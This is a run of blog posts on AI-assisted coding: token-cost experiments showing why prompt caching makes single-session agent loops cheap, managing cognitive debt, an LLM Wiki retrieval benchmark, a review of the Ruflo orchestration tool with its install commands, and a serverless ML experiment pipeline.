A single-session loop that just states a goal and runs until done finished the same task at one-ninth the cost of a plan-driven workflow. The secret isn’t the loop — it’s the cache.

The Ralph loop is a simple approach. You specify only the goal and the completion criteria, then let the agent iterate autonomously in a single session until it passes the completion check. No plan document, no task decomposition, no handoff notes between sessions. At first glance it looks unplanned and inefficient.

As vibe coding becomes the norm, many organizations are running short on tokens. I covered token management strategies in an earlier post¹, but most of those prescriptions were rules of thumb. So we built an experiment repository, vibecoding-token-experiments², to put those rules of thumb to the test. It maintains a catalog of hypotheses about token usage and measures them one at a time under controlled conditions, on a fixed benchmark task — implementing the RealWorld App³ backend — across three axes: workflow strategy, token habits, and language.

The first axis was workflow strategy. When we measured it, this simple Ralph loop approach completed the same task roughly 9x more cheaply than a plan-driven workflow. This post presents the results of the four experiments we’ve run so far, along with an explanation of how prompt caching actually works — the real mechanism that makes the Ralph loop cheap.

1. The Experiment: Ralph Loop vs. Plan-Driven Workflow

The shared task is implementing the RealWorld App backend. It requires implementing the REST API of a Medium clone to spec and passing 100% of the official API tests to count as complete. The model was fixed to Claude Opus alone to eliminate confounds from model differences, and the tool was Claude Code. Measurement aggregated the usage fields in session logs, using billable tokens (input + output + cache_creation) as the metric.

Here are the two workflows we compared:

• Ralph loop: specify only the goal and completion criteria, then let the agent iterate autonomously in a single session until it passes the completion check
• Plan-then-execute (PTE): decompose tasks and document interface contracts in a planning session, then spin up an independent session per task to implement

Before we start, let’s be clear about the scope of this experiment. RealWorld App is a task with fully fixed requirements. The API spec and the tests are already given, so what the agent does is pure implementation. In real development, by contrast, agents are typically brought in from the requirements-definition and design stages, and at those stages exploration and the planning artifacts themselves are the point. So what this experiment measures is not “is planning necessary” but the effect of context caching and the cost efficiency of the Ralph loop at the implementation stage. It looks at how much workflow and context structure drive token cost when what to build is already decided.

2. Results: The Ralph Loop Was About 9x Cheaper

Both conditions passed 100% of the API tests. Quality was identical; cost diverged. The Ralph loop finished in 14 minutes, one session, about 320K tokens. On a billable basis that’s 1/8.7 of PTE, and 1/3.5 on time. A single PTE planning session (about 360K tokens) cost more than the Ralph loop’s entire run.

Breaking down from the logs what costs the Ralph loop avoided, there are four:

1. Fixed session startup cost: every time you open a new session, the system prompt and tool definitions are freshly loaded into context. The measured startup tax was about 20.6K tokens per session. PTE had 16 sessions, so it paid 330K tokens; subtracting Ralph’s single instance (about 21K), the difference alone — about 310K tokens — nearly matches Ralph’s entire run cost (325K).
2. Re-reading the same files: each PTE session starts out seeing the repository for the first time. It re-read src/app.ts 7 times and the same spec document 5 times. Ralph never re-reads what it has already seen within one context. Read calls were 2 for Ralph vs. 49 for PTE; verification Bash calls were 35 vs. 186.
3. The production cost of documentation continuity: 44% of PTE’s output was not code but documents for transferring knowledge between sessions (specs, completion records). For Ralph this cost is zero, because the context itself is a living handoff document.
4. The paradox of atomic decomposition: in PTE, the smallest task — a single GET endpoint — burned 156K tokens. That’s close to half of Ralph’s total. The smaller the task, the more the fixed costs (startup tax + getting oriented in the repo + independent verification) dominate.

3. The Secret Is Prompt Caching: How It Works

The Ralph loop didn’t win because the loop structure is superior. It won because it reused a context it built once, through the prompt cache, all the way to the end. Once you understand this mechanism, the result becomes obvious.

Principle 1: The cache stores the front of the prompt (the prefix) wholesale. Claude API’s prompt caching⁴ caches a contiguous span starting from the very beginning of the prompt. The key is a hash of the content, so if a byte-identical prefix arrives again, the model loads the server-side stored state as-is without reprocessing. In the usage field, cache_creation_input_tokens is the tokens newly written to the cache on this request, and cache_read_input_tokens is the tokens read from a cache hit.

Principle 2: Agent conversations are structurally cache-friendly. An agent’s conversation accumulates append-only. Since it never modifies earlier turns and only appends at the end, the entire history up to that point is always a stable prefix. The result is that every turn is billed as “everything before = cache read, only this turn’s new input and output at full price.” Claude Code automatically caches the system prompt, tool definitions, and conversation history, so there’s nothing for the user to configure.

Principle 3: A cache read costs 0.1x full price. A cache write carries a small premium at 1.25x base input (on the 5-minute TTL), but a read is only about 0.1x⁵. On top of that, the 5-minute TTL resets for free on every hit, so as long as the agent keeps taking turns within 5 minutes, the cache stays alive for the whole session. A single hit is enough to break even.

Principle 4: The cache is keyed on prefix content, not on the session. This is exactly why a new session is expensive. Parts that are common across sessions — the system prompt and tool definitions (the ~20.6K startup-tax region measured above) — can be reused if you’re within the TTL, but the conversation history and the files read differ per session, so that portion is rebuilt as a cache write (1.25x) every time. The cache also has a tools → system → messages hierarchy, so changing tool definitions or the model invalidates everything below it.

Plug these four principles into the measurements and the numbers explain themselves. Ralph’s single session (112 messages) racked up 8.4M cache-read tokens. That’s the trace of what would have cost full price to reprocess the same context 112 times, absorbed at 0.1x. PTE, by contrast, restarts the prefix every session, so cache_creation exploded to 2.04M tokens (8.7x Ralph’s).

The billable metric is an approximation that excludes cache reads, so converting to something closer to the actual bill using Opus rates (input $5/M, output $25/M, cache write $6.25/M, cache read $0.5/M) gives this:

(The “PTE + Skills” condition in the table is covered in section 4.)

In dollar terms too, the Ralph loop costs 1/6.8 of PTE. One thing worth noting is that even in a single session, cache read is the largest cost line item (53% of Ralph’s). Even at 0.1x, you read the entire history every turn, so as the session lengthens the cost accumulates on a quadratic curve. There’s no free lunch in the Ralph loop either. This is the quantitative basis for the advice to run /compact at the right moments.

4. When Splitting Is Unavoidable: Skill-Style Progressive Disclosure

If a task doesn’t fit into a single session’s context, splitting is unavoidable. We ran an experiment on the prescription for that case too. We applied Skill-style progressive disclosure to the same PTE workflow: the planning session wrote domain-level contracts (error strings, validation order, shared infrastructure conventions) as Skill documents of 200 lines or fewer, and each task session loaded only the Skills it needed, when it needed them.

The workflow was identical and only the context structure changed, yet it dropped 39.3%. Limiting what each task session reads to “its own spec + the Skills it needs” eliminated re-reading (Read calls 49 → 25, with 41 Skill invocations), and because the contracts were explicit, it passed the verification gate on the first attempt, wiping out 336K tokens of rework cost entirely.

The interesting part is the experiment in the opposite direction. When we gave the same Skills to a single-session Ralph, we couldn’t confirm any effect (n=2; a mean difference of +3.5% was entirely buried in the 200K within-condition variation). The reason was clear. A session performing the whole task by itself needs all the contracts anyway, so there were 0 Skill tool invocations — it just read all the Skill documents at the start of the session. Progressive disclosure’s savings mechanism only works when a session needs only a subset of the total context. Put the other way: a single-session Ralph loop is already near-optimal from a caching standpoint, with no context structure left to tune.

5. Why You Need to Know the Size of the Noise

In a separate experiment, we also tested the hypothesis that “running the whole process in English uses fewer tokens than Korean.” As a static measurement, the effect is real. Tokenizing documents with the same content, Korean is 2.76x larger for prose and 1.39x larger for a mix of tables and code. In actual work, however, the language effect (mean difference ~29K) was buried in run-to-run trajectory variation (up to 138K), making it impossible to call.

Two runs executed under identical conditions diverged by 1.7x in tokens (191K vs. 329K), and in the fourth experiment by as much as 2x (199K vs. 400K). How deeply the agent “decides” to dig into the spec’s edge cases was a far bigger cost variable than language. The fact that most of the output is language-neutral code also lowered the ceiling on the language effect.

This observation has practical implications in its own right. Variation in an agent’s work trajectory is constant noise on the order of hundreds of thousands of tokens, so a savings technique at the 10% level cannot be validated by comparing one or two runs. If someone tells you “this setting cut tokens by 15%,” the first thing to ask is how many runs that average covers. Conversely, effects like the Ralph loop’s 8.7x or Skills’ -39.3% exceed this noise band by several multiples, so a single run won’t flip the direction.

Conclusion

One conclusion runs through all four experiments. At the implementation stage with fixed requirements, the dominant variable in token cost is not workflow sophistication but context (cache) reuse. The Ralph loop’s 9x efficiency isn’t magic inherent to the loop; it’s a direct consequence of the caching structure — “append-only history = stable prefix = 0.1x reuse.” Distilled into practical guidance:

1. If a task with a settled implementation fits in a single session, run it in a single session. The moment you split sessions, fixed startup costs and context-rebuilding costs accumulate, making the same task 6–9x more expensive.
2. If splitting is unavoidable, structure your context as Skills. Making each session load only the subset it needs can cut the tax of splitting by close to 40%. But it has no effect on a single session that needs the whole context — that side is already optimal.
3. Very long single sessions get expensive again. Cache reads aren’t free; they’re billed at 0.1x and accumulate on a quadratic curve. A well-timed /compact is quantitatively justified.
4. Variables at the 10% level, like document language (Korean vs. English), are far smaller than those two decisions. Because run-to-run variation is larger than that, the right order is to settle workflow and context structure first.

This isn’t to say planning is pointless. These results are limited to the implementation stage with fixed requirements and don’t generalize as-is to stages like requirements definition or design, where exploration and consensus are themselves the goal. And the plan documents, interface contracts, and per-task completion records that PTE leaves behind are assets — from a maintenance and handoff perspective — that Ralph never produces. As far as the implementation stage goes, though, the approach that looks simplest meshed exactly with the caching structure and came out cheapest. In an era where tokens have become an organizational bottleneck, judging your cost structure by intuition instead of measurement is the most expensive choice of all.

“Shipping first time code is like going into debt. A little debt speeds development so long as it is paid back promptly.” — Ward Cunningham, OOPSLA ‘92¹

Work with vibe coding long enough and a strange moment arrives. This is unmistakably my project, yet when I open the code it feels like someone else’s house. The agent designed it, the agent implemented it, and I pressed the approve button. The work got done fast. But when something breaks, I find myself saying: “Why did this happen? The AI wrote it, so I’m not really sure.”

This is cognitive debt. Code accumulates but understanding does not. That gap is the debt.

The term is not hyperbole. In 2025, an MIT Media Lab research team measured the brains of people writing essays using EEG. The group that used an LLM showed the weakest neural connectivity, could not properly quote what they had written, and reported the lowest sense of ownership over their own writing. The pattern persisted even after they stopped using AI. The team named the phenomenon “cognitive debt.”² The data on the code side points the same way. When GitClear analyzed over 200 million lines of commits, copy-pasted code rose and refactoring fell by more than half over the period AI assistants spread.³ Output got faster. Understanding and cleanup got pushed back.

Does Putting a Human in the Loop Solve It?

The usual prescription in the face of this problem is human-in-the-loop: have a human review every artifact. It sounds plausible. In reality it doesn’t work.

The reason is simple. Agents produce far faster than humans. If a human is involved every time, the human becomes the bottleneck. A human who is the bottleneck is pressed for time. Under time pressure, they stop looking at the content and just press approve. Review becomes a formality, and a formalized review manufactures an illusion — the illusion that “a human looked at it, so it’s fine.” That can be worse than nobody looking at all.

This isn’t a new discovery. Automation research reached this conclusion 40 years ago. In a 1983 paper, Bainbridge pointed out the ironies of automation. The more something is automated, the fewer chances a person has to practice their skills. What’s left is tedious monitoring. Yet the moments when the human must intervene are precisely the hardest ones.⁴ Follow-up research also confirmed that automation complacency is not a novice-only problem. Experts grow just as complacent, and it doesn’t respond well to training or instruction.⁵

Your own sense of things isn’t trustworthy either. METR ran a randomized controlled trial with experienced open-source developers in 2025. Developers using AI tools were actually 19% slower, yet they felt they were 20% faster.⁶ The gap between feeling that you understand and actually understanding — cognitive debt grows in exactly that gap.

Debt Is Something You Manage, Not Something You Eliminate

So what should we do? I want to argue that we should treat cognitive debt the same way we treat technical debt.

Ward Cunningham, who coined the term technical debt, never framed debt as evil. Quite the opposite: a little debt speeds development. The problem isn’t the debt itself but the interest that accrues when you leave it unpaid.¹ The same holds for cognitive debt. Demanding that a human fully understand and be able to explain every line of AI-generated code is unrealistic. The moment you take that demand seriously, the point of using AI disappears. Trying to drive the debt to zero fails. The target isn’t zero; it’s an appropriate level.

What is an appropriate level? It’s a state in which, whenever asked, you can explain to a certain depth. You don’t need to have every function memorized. But you should be able to say why the system looks the way it does, where the danger lies, and what observation would mean the design has failed. When your understanding drops below that line, it’s time to pay down the debt.

The question is how. I use or propose three approaches.

First, the Pop Quiz

There are moments when a design or an implementation is finished and I have the nagging feeling that I don’t really know what I just built. That moment is the moment to pay down the debt. When it hits, I ask the agent to give me a pop quiz. This isn’t idea-level talk — I’ve actually built it as a Skill and use it.

There’s one core principle: the answers must always come out of my mouth. It’s convenient when the agent explains. It’s also useless, because hearing an explanation makes you think you understood. The debt remains intact under the illusion. So this quiz is an interview, not a grading exercise. The agent asks a single open-ended question: “Why this approach rather than alternative X?” “What goes wrong if this part isn’t there?” It listens to my answer, picks the point where a gap surfaced, and asks a follow-up. The next question isn’t decided in advance. My previous answer determines it. Only when the same gap survives two follow-up questions does an explanation finally come.

It doesn’t tell me what I left out right away, either. It demands recall: “There’s another step — what’s missing?” It’s uncomfortable. Uncomfortable is normal. Paying down debt has never been comfortable.

Second, the Literate Code Diff

In 1984, Knuth proposed literate programming with this framing: let us change our traditional attitude to the construction of programs, so that the main task is to explain to human beings what we want the computer to do, rather than to instruct the computer.⁷ Applying that perspective to the diff gives us the literate code diff.

A typical code review screen is a list of changed files. The file order is alphabetical and unrelated to the logical order of the change. The reviewer has to reassemble fragmented changes in their head. Faced with a large change made by an agent, that reassembly is frequently abandoned. And then the approve button gets pressed.

The literate code diff inverts the order. It arranges the changes in conceptual order and attaches an explanation to each step. “First I changed the repository interface, because… Then I fixed the call sites, because…” The reader follows the change as a single story. I also think it’s worth maintaining these documents like release notes: one literate diff document per PR, with an index in the README to keep them accessible. The history of the codebase then survives not as “who changed what and when” but as “why it came to be this way.”

Third, Narrative Documents

Most documents AI produces are enumerations. A document of neatly aligned bullet points can be taken in at a glance. That’s both its virtue and its trap. Because it can be taken in at a glance, it’s easy to mistake skimming for reading, and the places where logic is missing don’t stand out. It’s also quickly forgotten.

Amazon ran this experiment company-wide. In a 2004 executive meeting, Bezos banned PowerPoint and introduced narrative memos. The reasoning is precise: good narrative memos are hard to write because the narrative structure forces better thought about what is more important and how things are connected.⁸ The same applies to the reader. Narrative takes longer to read than enumeration. In exchange, because you read it as a story, the places where the logic breaks become visible, and what you read sticks longer.

Let’s compare using an ADR (Architecture Decision Record). An enumerated ADR looks like this:

## Decision: Migrate session store to Redis
- Situation: DB session table bottleneck
- Alternatives: Memcached, DynamoDB, Redis
- Choice: Redis
- Rationale: TTL support, existing operational experience

Clean. And impossible to verify in any respect. How severe was the bottleneck, why was Memcached eliminated, was “existing operational experience” an important enough condition to justify the decision — this document says none of it. Written as a narrative, the same decision reads like this:

Last quarter traffic doubled, and lock contention on the session table became the primary cause of response latency. During peak hours, 60% of p99 latency came from session lookups. We needed a cache layer. Memcached was ruled out because a restart wipes all sessions and could trigger a login stampede. DynamoDB met the latency requirement, but its TTL granularity is at the minute level, which doesn’t fit our session expiration policy. Redis satisfied both requirements, and since the team has operational experience with it, the incident-response risk is low. That said, it’s a single-node configuration, so a Redis failure makes all logins impossible. That is this design’s failure condition.

It takes about three times as long to read. In exchange, someone who reads this can ask questions. “Where does the 60%-of-p99 number come from?” “Doesn’t Memcached have a persistence option?” These are questions that never surfaced in front of the enumerated document. Only when the logic runs through sentences do the holes in the logic become visible. A document that pays down cognitive debt is not one that reads fast but one you can read critically.

Conclusion

Cognitive debt is not a bug of vibe coding; it’s a cost. If you bought speed, you have to pay for it. There is no way to avoid paying. There are only ways to go through the motions of paying, like human-in-the-loop, and going through the motions is generally worse than not paying at all.

Handle it the way you handle technical debt. Don’t try to pay it all off. You can’t. Instead, keep checking whether the interest is at a manageable level. If you can’t explain what you just approved, the interest has exceeded your limit. That’s when you take the pop quiz, reread the diff as a story, and rewrite the documents as narrative.

Understanding does not accumulate automatically. Only code does.

“To keep agents from re-deriving everything every time, you need a compiled knowledge artifact.” — Andrej Karpathy, LLM Wiki (GitHub Gist, 2026-04)¹

TL;DR

• We measured whether Andrej Karpathy’s LLM Wiki pattern (“don’t re-read every time; reuse knowledge compiled once”¹) is actually a win, using an 8-task × 3-technique × 3-repetition = 72-run benchmark in a 30-repository migration workspace.
• LLM Wiki placed first on all three dimensions: tokens, time, and quality. Versus Vanilla, 54% fewer tokens and 39% less time (statistically a large effect, §4), with quality equal to Vanilla and better than Graphify.
• Graphify (GraphRAG) is unsuitable as a default tool. Negligible token savings, the longest time, and the lowest quality.
• That said, it’s not universal. Wiki wins decisively on tasks that synthesize multiple sources, but for tasks whose answer sits plainly in a single source (exhaustive grep, looking up a specific table), reading directly is faster and more accurate (§3).
• On receiving these results, the project’s default context-retrieval tool was switched to LLM Wiki that same evening.

Below is the experimental design and detailed numbers that support this conclusion.

1. The Three Techniques Compared

The core of the LLM Wiki pattern is its difference from RAG. RAG is a stateless cycle that repeats embedding, vector search, and chunk injection on every query, so it redoes synthesis, cross-referencing, and contradiction handling from scratch each time. LLM Wiki inverts this: it compiles once when a new source arrives (summarizing, cross-referencing, flagging conflicts), and at query time it reads a markdown page that is already synthesized. Compile once, query many times — this asymmetric cost allocation is the source of the token savings.

2. Experimental Design

Decision question: “For this migration workload, which technique satisfies both token efficiency and answer quality?” The dependent-variable priority was (1) token cost, (2) answer quality, (3) task time.

Workload — 8 tasks (T1–T8):

Isolation: the three techniques were separated into 3 git worktrees, each with a dedicated CLAUDE.md overwritten in place. Submodules, PRD, code, and git were shared; the only difference was the auxiliary tooling. Thanks to the separate worktree paths, there was no prompt cache contamination across trials.

Scoring (Judge) — an external model (codex/GPT-5): since the actor was Claude, we scored with an external model to avoid self-evaluation bias. A 4-dimension 0–25 rubric.

The task prompts did not expose ground truth; only the judge held it. Inter-rater agreement (Cohen’s κ) passed the rubric at a weighted average of 0.86 (only the excess dimension was weak at κ=0.25, but its weight is 0.1).

3. Winners by Task — The Pattern Isn’t Simple

The overall average favors Wiki, but the winner varies by task type. First place by mean score:

• Wiki is robust on mixed and synthesis-type tasks. First place in 5 of 8 (T1, T2, T5, T6, T7). It’s especially strong on T2 (cross-language) and T6 (external sources), where multiple sources must be synthesized. Curation earns its keep.
• There are two tasks where Vanilla wins: T4 (exhaustive grep) and T8 (cross-domain). In both, the answer sits plainly in a single source, so curation is a net loss. T4 is settled by grepping the whole codebase, and for T8 reading the PRD table directly is the most accurate route.
• Graphify took first place on only one task, T3, and even there at 9.50/25 the absolute score is low. It also lost badly to wiki on cross-language (T2), where we expected it to shine — INFERRED edges added noise and query overhead inflated the time.

4. Statistical Significance

Friedman main effects: time p=4.5e-07, quality p=0.0016 (both strong), tokens p=0.093 (marginal).

Wilcoxon pairwise (Bonferroni-corrected):

In summary, Wiki cuts tokens and time versus vanilla with a large effect (quality equal), and beats graphify on both quality and time. Graphify-first is unsuitable as a default tool for our workload.

5. So How Do We Operate?

This is the baseline policy we settled on after receiving the benchmark results.

1. Wiki-first — for operational facts, read wiki/index.md → the relevant notes first.
2. If it’s not there, go straight to the source — if the wiki doesn’t have it, PRD → code read/grep. Never make anything up.
3. Skip the wiki when single-source retrieval is obvious — if it doesn’t narrow to a single note, move quickly to a direct read (the T4/T8 shape).
4. Graphify is auxiliary — use it selectively, only for cross-component dependency tracing.

The biggest lesson from operating this is a separate one. Getting answers to cite their sources is harder, and more important, than building the wiki. Early on, note-taking was active but fewer than 10% of answers carried [[..]] citations, so only half the wiki’s value materialized. A single check rule forcing “is there a wiki citation for this fact?” right before answering brought the citation rate back to normal immediately.

6. Caveats

• IRR on the excess dimension is weak (κ=0.25). Because scoring was done while viewing all techniques’ transcripts together, excess scores were uniformly harsh. With a weight of 0.1 the impact on the conclusion is small, but treat the absolute values conservatively.
• Concern about Wiki bias: all 8 tasks have ground truth present in the wiki, which may favor it. That said, the judge evaluates the ground truth facts themselves rather than the source.
• This is a Claude Code-based measurement. Results may differ in other model and tooling environments. These numbers are the basis for policy in our environment, not a universal claim.

Wrap-Up

In our domain, Karpathy’s LLM Wiki pattern delivered 54% fewer tokens, 39% less time, and quality equal or better, and was statistically significant with a large effect. The decision to switch our default tool to the wiki is backed by data.

That said, don’t apply the pattern literally. On tasks whose answer sits plainly in a single source, the cost of curation is a loss, and while Graphify is unsuitable as a default tool, it beats the wiki on certain path queries. Adopt the pattern, but look at it alongside your own workload’s task distribution and source structure. At 8 tasks × 3 techniques × 3 trials = 72 runs, you’ll have an answer within a day or two, so I recommend measuring it yourself.

How to design Claude Code workflows that learn from a team’s insights, not just a single project.

Use Claude Code for a month and the limits become clear. Context disappears along with the session, and breaking work apart and putting it back together is ultimately a human job. The bigger problem surfaces the moment you have multiple projects and multiple developers. The testing strategy learned on project A, the refactoring pattern discovered by developer B, the architectural judgment validated in repository C — none of it flows well between them. ruvnet/ruflo (formerly Claude Flow) targets exactly this gap. As of May 4, 2026, it has 39.4k stars and 4.5k forks on GitHub, with v3.6.27 as the latest release.¹² Ruflo aims to be an orchestration layer on top of Claude Code that adds roughly 100 specialized agents, HNSW vector memory, a plugin system, and Zero-Trust federation. This post lays out what Ruflo actually solves and what it does not, particularly from the standpoint of how to organically reuse the insights that multiple projects and multiple developers acquire.

TL;DR

• Ruflo is an MIT-licensed orchestration platform that extends Claude Code into a multi-agent collaboration system.¹
• The core is three things: swarm coordination + persistent memory + Zero-Trust federation. Whether you can build a structure in which insights flow between projects and developers matters more than a list of 314 MCP tools.
• Given its release cadence and self-promotional tone, it suits personal learning and team PoCs but is not recommended for immediate, org-wide enterprise adoption.

The Limits of Claude Code Alone, and Where Ruflo Sits

Claude Code is already powerful. It reads repositories, edits files, runs tests, and executes shell commands with the user’s approval. The problem is a work model centered on a single session, a single repository, and a single user. On a long project, the open question becomes “why did we make this decision last time?” Across multiple projects, it becomes “how do we bring what we learned over there into this project?” At team scale, an even more important question emerges: “how do we get the insight from developer A’s Claude Code session into developer B’s next task?”

Ruflo is less a tool trying to replace Claude Code than one that bolts a work-coordination layer around it. You keep using Claude Code, and behind it Ruflo handles agent routing, memory, swarm coordination, background workers, and plugin execution.

What matters in this table is not “more features.” Ruflo’s value lies in getting multiple agents to take on different facets of the same task, leave the results in memory, and reuse them on the next task. In other words, the key question is whether you can move from a personal productivity tool to a team learning system.

The Real Question: How Do You Reuse Insight?

Vibe coding pays off quickly at the individual level. The longer a single developer works with Claude Code, the more prompting habits, testing sequences, review criteria, and failure patterns accumulate. From an organizational standpoint, however, this knowledge evaporates easily. Session logs scatter, good prompts stay in personal notes, and design judgments earned in one repository never migrate to another.

So the most important lens for looking at Ruflo is not “does it automate Claude Code further?” but “can it turn the insight generated during development into a shareable asset?” For example: a failure-reproduction pattern learned in a payments system gets used for test generation in a settlement system; security review criteria created by one developer are reflected in another developer’s PR analysis; an architectural decision made for one client becomes the initial design guardrail for the next PoC.

Seen this way, AgentDB, RAG memory, knowledge graph, and federation are not a list of separate features. They are a pipeline for storing, retrieving, transmitting, and reusing insight across multiple projects and multiple developers within a trust boundary. Ruflo’s adoption value materializes when that pipeline works in real day-to-day work.

What Ruflo Does

The Ruflo README leads with “314 MCP tools” and “32 plugins.”¹ The numbers are large, but the structure compresses into a single diagram.

flowchart TD
    User[User]
    CC["Claude Code / CLI / MCP"]
    Orch["Orchestration Layer
Router + Hooks"]
    Swarm["Swarm Coordination
Queen / Topology / Consensus"]
    Agents["100+ Specialized Agents
coder, tester, reviewer, ..."]
    Mem["Memory & Learning
AgentDB + HNSW + SONA"]
    LLM["LLM Providers
Claude / GPT / Gemini / Cohere / Ollama"]

    User --> CC
    CC --> Orch
    Orch --> Swarm
    Swarm --> Agents
    Agents --> Mem
    Mem --> LLM
    Mem -. Learning Loop .-> Orch

There are five core components. First, entry points via a Claude Code plugin, CLI, and MCP server. Second, a router and hooks that detect work and send it down the appropriate flow. Third, a swarm layer that deploys multiple agents. Fourth, AgentDB and RAG memory that store and retrieve results and the reasoning behind decisions. Fifth, provider routing that allows models other than Claude to be used on some paths. When this structure works properly, the output of one session becomes the starting point for the next session, the next repository, and the next developer.

There are three installation paths. For Claude Code users, the plugin route is the most natural.

# 1) Claude Code plugin
/plugin marketplace add ruvnet/ruflo
/plugin install ruflo-core@ruflo

# 2) CLI
npx ruflo@latest init --wizard
# or
npm install -g ruflo@latest

# 3) MCP server
claude mcp add ruflo -- npx -y @claude-flow/cli@latest

In a production environment you should not use latest from the examples above as-is. Ruflo ships releases very quickly. Experimenting with latest is fine, but at team-PoC scale and beyond you must pin versions.

The Key Differentiator: Agent Federation

The most interesting part of Ruflo is not the plugin count but Agent Federation. Tools that coordinate multiple agents within a single machine will only become more common. But letting agents on different machines, teams, and trust boundaries collaborate safely is a different story.

Through the ruflo-federation plugin, Ruflo attempts to treat inter-agent communication under a Zero-Trust model. Per the README, this layer includes agent discovery, authentication, task exchange, PII detection, mTLS, signing, and trust scoring.¹

flowchart LR
    A["My agent"] --> B["PII removal
(auto-detected)"]
    B --> C["Message signing
ed25519"]
    C --> D["Encrypted channel
mTLS"]
    D --> E["Identity verification
Challenge-Response"]
    E --> F["Prompt injection blocking"]
    F --> G["Peer agent"]
    G -. "Behavior-based trust score" .-> A

Suppose team A has an agent that analyzes payment anomalies and team B has one that analyzes operational logs. If the two teams can exchange only PII-stripped task requests and summarized signals without directly sharing raw customer data, the scope of collaboration widens. More practically, you can imagine handing a migration checklist validated on one project over to a DB change on another project, or a security agent on another team immediately making use of prompt injection patterns that one developer keeps uncovering. The value Ruflo proposes here is less “spin up lots of agents” and more “let insights earned by different projects and developers be exchanged within a trust boundary.”

# Initialize federation and generate a keypair
npx claude-flow@latest federation init

# Join another team's federation endpoint
npx claude-flow@latest federation join wss://team-b.example.com:8443

# Send a message with PII automatically stripped
npx claude-flow@latest federation send --to team-b --type task-request \
  --message "Analyze transaction patterns for account anomalies"

# Check peer trust ratings and session health
npx claude-flow@latest federation status

That said, this area especially needs verification. A security model on paper and operational security in practice are different things. To use it in a regulated industry, you have to separately test network boundaries, log retention, key management, PII removal accuracy, and the failure scenarios for prompt injection blocking.

How to Choose Among 32 Plugins

The breadth of Ruflo’s plugin list is daunting at first glance, so it helps to reduce it to categories.

If it were our team, here is how we would pick the starting combinations.

Turning on all 32 from the start is not a good strategy. 314 MCP tools also means 314 units of operational surface area. It is better to enable only the 5 to 10 you will actually use and start with the rest disabled.

Three Practical Adoption Scenarios

The first is the individual developer’s learning scenario. If you already use Claude Code, have a lot of repetitive work, and work in the same repository across several days, Ruflo’s memory and swarm coordination are easy to feel. At this stage, validating usability matters more than security. Start with roughly core, swarm, and cost-tracker and watch for two things: “has the time I spent splitting up work myself gone down?” and “do judgments from past work actually carry into the next task?”

The second is a team PoC. Set a period of about two weeks and pick concrete workflows — test generation, document search, PR risk analysis — targeting one existing repository, or two repositories of similar character. What you measure here is not star counts or plugin counts but task turnaround time, failure rate, retry counts, token cost, and the quality of the output a human has to review. One more thing needs to be added: check whether review criteria or test patterns obtained on the first project get reused on the second. rag-memory, testgen, and observability fit this stage.

The third is an enterprise or multi-client environment. Here the concern is control rather than productivity. You have to decide up front what data moves between agents, where PII removal happens, where failure logs land, and who approves version upgrades. At the same time you have to define the scope of insight reuse. You need boundaries such as: never share a given client’s code or data, but do share abstracted patterns like incident response procedures, security review criteria, and migration verification sequences. Rather than adopting Ruflo wholesale, it is more realistic to validate federation and agentdb within a narrow scope.

Pre-Adoption Checklist

First, separate out the unverified quantitative claims. Ruflo’s documentation cites HNSW search speed, routing accuracy, and performance improvement figures. Some release notes even mention that past exaggerated metrics were cleaned up.³ These numbers are interesting, but they should not be used as a basis for decisions until you have re-measured them on your own repository and your own data.

Second, treat the release cadence as a risk. Even on May 4, 2026, release v3.6.27 went up.² That means it is an active project, but in a production environment the rate of change is itself a risk. Lockfiles, version pins, and rollback procedures need to be in place from the PoC onward.

Third, draw the line of responsibility against Anthropic’s official features. Skills, Subagents, and Plugins are concepts of the official Claude Code ecosystem. Ruflo is an external layer that sits on top. The better learning order is to master the official features first and then attach Ruflo.

Fourth, do not take the Rust/WASM emphasis at face value. Per GitHub’s language statistics, Rust is shown at 0.3%.¹ Whatever policy engine or WASM kernel exists, most of the actual codebase is TypeScript, JavaScript, and Python. That is not a bad thing in itself. It just means you should avoid simplistic conclusions like “it is Rust-based, so it is safe.”

Conclusion

Ruflo is the candidate that most aggressively shows where Claude Code goes next. A hundred agents, consensus algorithms, and Zero-Trust federation attempt answers in territory a single coding assistant struggles to reach. More precisely, Ruflo’s question does not stop at “can we finish one project faster?” It goes all the way to “can we make the insights earned by multiple projects and multiple developers the default for the next task?” But a tool’s ambition and its operational stability are separate matters.

For personal learning and team PoCs, it is worth starting now. For enterprise adoption, the safe path is to follow the changelog for at least a quarter, measure the stability of the core plugins yourself, and then begin with partial adoption limited to the two axes of federation and agentdb. Peel back a layer of marketing copy and Ruflo’s real value is not “314 tools” but “a protocol that lets an agent work safely with an agent on another machine.”

ROBOCO supports adoption assessments and PoCs for agent orchestration tools including Ruflo. If how to embed it into operations is the harder problem than which tool to choose, feel free to reach out. → Contact ROBOCO consulting

The real value of vibe coding is not only in writing code fast. It is in designing a way of operating that lets you repeat expensive experiments more cheaply and more quickly.

Most people first associate vibe coding with web app prototyping or CRUD automation. But ROBOCO’s serverless-autoresearch repository widens that frame considerably. Instead of the “tie up a single H100 for several hours” approach that Andrej Karpathy’s autoresearch presupposes, this project builds a structure that runs parallel experiments in short, explosive bursts on AWS SageMaker Spot.¹

What makes this case interesting is not that the results simply came out cheap. The repository preserves all of it: the deep interview that sharpened the initial idea, plan-driven architecture design, cloud infrastructure debugging, automation of repeated experiments, and the process of converting failures back into documents and skills. In particular, docs/vibe-coding-tutorial is less a code manual than a log showing how conversational AI coding actually hardens into engineering artifacts.²

The numbers are worth sorting out first. The tutorial, centered on the initial run window of March 27-28, 2026, records 25 experiments, $0.44 in total cost, and a best val_bpb of 1.0643.²³ The repository README, on the other hand, presents an expanded picture: running 83 experiments in about 3.5 hours for roughly $1.33, emphasizing a structure that is 2.3x faster and 5-18x cheaper than the original sequential execution.¹ In other words, “$0.44” is the cost of the initial validation and “$1.33” is the cost of the expanded operating model. The two figures do not conflict; they are results from different stages.

TL;DR

• serverless-autoresearch is a case of extending vibe coding beyond web app automation into the problem of ML experiment pipelines and cloud operations design.
• The core is replacing long-held occupancy of an H100 with SageMaker Spot-based parallel experiments, making cheap failure and fast learning possible.
• Good results come less from volume of generated code than from an operating approach: problem definition, planning, infrastructure validation, and converting failures into documents and skills.

1. What This Project Actually Changed

Karpathy’s original autoresearch runs one experiment at a time and, fundamentally, follows a flow that occupies a high-performance GPU such as an H100 for long stretches. serverless-autoresearch changed that flow into parallel evolution.¹⁴

There are two key points.

• Instead of holding a single experiment for a long time, run many candidates simultaneously and briefly.
• Instead of keeping a GPU on 24 hours a day, spin up Spot instances only when needed and shut them down as soon as they finish.

